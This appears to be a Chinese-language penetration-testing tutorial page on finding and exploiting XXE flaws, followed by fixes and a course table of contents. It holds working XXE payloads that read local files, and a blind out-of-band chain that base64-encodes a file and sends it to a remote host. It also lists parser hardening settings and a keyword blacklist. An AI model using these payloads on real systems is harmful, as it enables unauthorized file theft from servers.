## 尋找與利用xxe漏洞
### 如何找xxe漏洞:
1. 抓包看accept頭是否接受xml
如果是,使用payload驗證是否可以攻擊
2. 抓包看accept頭是否接受json
如果是,把json改成xml,后用payload測試
一般 xxe 利用分為兩大場景:有回顯和無回顯。
有回顯的情況可以直接在頁面中看到Payload 的執行結果或現象,
無回顯的情況又稱為`blind xxe`,可以使用外帶數據通道提取數據。
### 有回顯xxe
```xml
# 使用通用實體讀取本地文件的payload
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>
# 使用參數實體讀取本地文件的payload
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evils.dtd" >
%xxe;
]>
<foo>&evil;</foo>
##外部 evils.dtd 中的內容。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
```
### 無回顯xxe
可以使用外帶數據通道提取數據,先使用 php://filter 獲取目標文件的內容,然后將內容以 http 請求發送到接受數據的服務器
```xml
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
##外部 test.dtd 中的內容。
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int " <!ENTITY % send SYSTEM 'http://192.168.0.105:8080?p=%file; '>">
```
整個調用過程
1. 連續調用了三個參數實體`%remote;%int;%send;`,這就是我們的利用順序,
2. 先調用`%remote` ,調用后請求遠程服務器上的 test.dtd(類似于將 test.dtd 包含進來)
3. 再調用`%int`,int會調用test.dtd中的`%file`,會去獲取服務器上面的敏感文件,并將結果進行base64編碼
4. 后調用`%send`將結果,以url參數的形式發送結果到指定服務器,(實體的值中不能有%, 所以將其轉成 html實體編碼`%`)
編碼可參考:http://www.mamicode.com/info-detail-1680849.html
最后,怎么查看最終數據
1. 有報錯直接查看報錯信息
2. 無報錯需要訪問接受數據的服務器中的日志信息
可以看到經過 base64 編碼過的數據,解碼后便可以得到數據。編碼是為了不破壞原本的 XML 語法,不編碼會報錯
## XE漏洞修復與防御:
方案一:升級PHP版本
方案二:修改代碼
```
#PHP:
libxml_disable_entity_loader(true);
#JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
setFeature("http://xml.org/sax/features/external-general-entities",false)
setFeature("http://xml.org/sax/features/external-parameter-entities",false);
#Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
```
方案三:黑名單過濾關鍵詞(不推薦)
```
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
```
- src導航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查詢
- 備案信息查詢
- 信用信息查詢
- IP反查站點的站
- 瀏覽器插件
- 收集子域名信息
- 在線平臺
- 工具枚舉
- ssl與證書透明度
- DNS歷史解析
- DNS域傳送漏洞
- C段探測
- JS文件域名&ip探測
- 搜索引擎&情報社區
- google黑客
- 威脅情報
- 鐘馗之眼
- 收集相關應用信息
- 微信公眾號&微博
- APP收集&反編譯
- 收集常用端口信息
- 常見端口&解析&總結
- 掃描工具
- 網絡空間引擎搜索
- 瀏覽器插件
- nmap掃描
- 收集敏感信息
- 源碼泄露
- 郵箱信息收集
- 備份文件泄露
- 目錄&后臺掃描
- 公網網盤
- 歷史資產
- 指紋&WAF&CDN識別
- 指紋識別
- CDN識別
- 繞過CDN查找真實IP
- WAF識別
- 漏洞資源和社工
- 漏洞公共資源庫
- 社會工程
- 資產梳理
- 各種對滲透有幫助的平臺
- 掃描器
- 掃描器對比
- AppScan(IBM)_web和系統
- AWVS_web掃描
- X-Scan_系統掃描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_綠盟_web
- 安恒明鑒
- Nessus_系統
- nexpose_系統
- 啟明天鏡_web_系統
- SQL注入
- 常用函數
- sql注入步驟
- union注入和information_schema庫
- 函數和報錯注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解決方案
- Access數據庫注入
- MSSQL數據庫注入
- MYSQL數據庫注入
- 神器SQLmap
- xss跨站腳本攻擊
- xss原理和分類
- xss案例和修復
- xss繞過技巧
- xss案例
- 文件上傳下載包含
- 常有用文件路徑
- 文件上傳漏洞
- 文件下載漏洞
- 文件包含漏洞
- upload-labs上傳漏洞練習
- XXE、SSRF、CSRF
- SSRF原理基礎
- SSRF案例實戰
- CSRF原理基礎
- CSRF案例及防范
- XXE之XML_DTD基礎
- XXE之payload與修復
- XXE結合SSRF
- 遠程命令執行與反序列化
- 遠程命令和代碼執行漏洞
- 反序列化漏洞
- 驗證碼與暴力破解
- 爆破與驗證碼原理
- CS架構暴力破解
- BS架構暴力破解
- WEB編輯器漏洞
- 編輯器漏洞基礎
- Ewebeditor編輯器
- FCKeditor編輯器
- 其他編輯器
- web中間件漏洞
- 中間件解析漏洞
- Tomcat常見的漏洞總結
- Jboss漏洞利用總結
- Weblogic漏洞利用總結
- WEB具體步驟
- 旁注和越權
- CDN繞過
- 越權與邏輯漏洞
- WEB應用常見其他漏洞
- WEB登陸頁面滲透思路
- 獲取WEBshell思路
- 社工、釣魚、apt
- 社工和信息收集
- 域名欺騙
- 釣魚郵件
- 一些釣魚用的掛馬工具
- 代碼審計
- 代碼審計工具
- WAF繞過
- WAF基礎及云WAF
- 各種WAF繞過方法
- 繞過WAF上傳文件
- 系統提權
- windows系統提權
- linux系統提權
- 數據庫提權操作系統
- 內網橫向滲透
- 內網穿透方式
- 一些內網第三方應用提權
- ARP與DOS
- ARP欺騙
- DOS與DDOS
- 一些DOS工具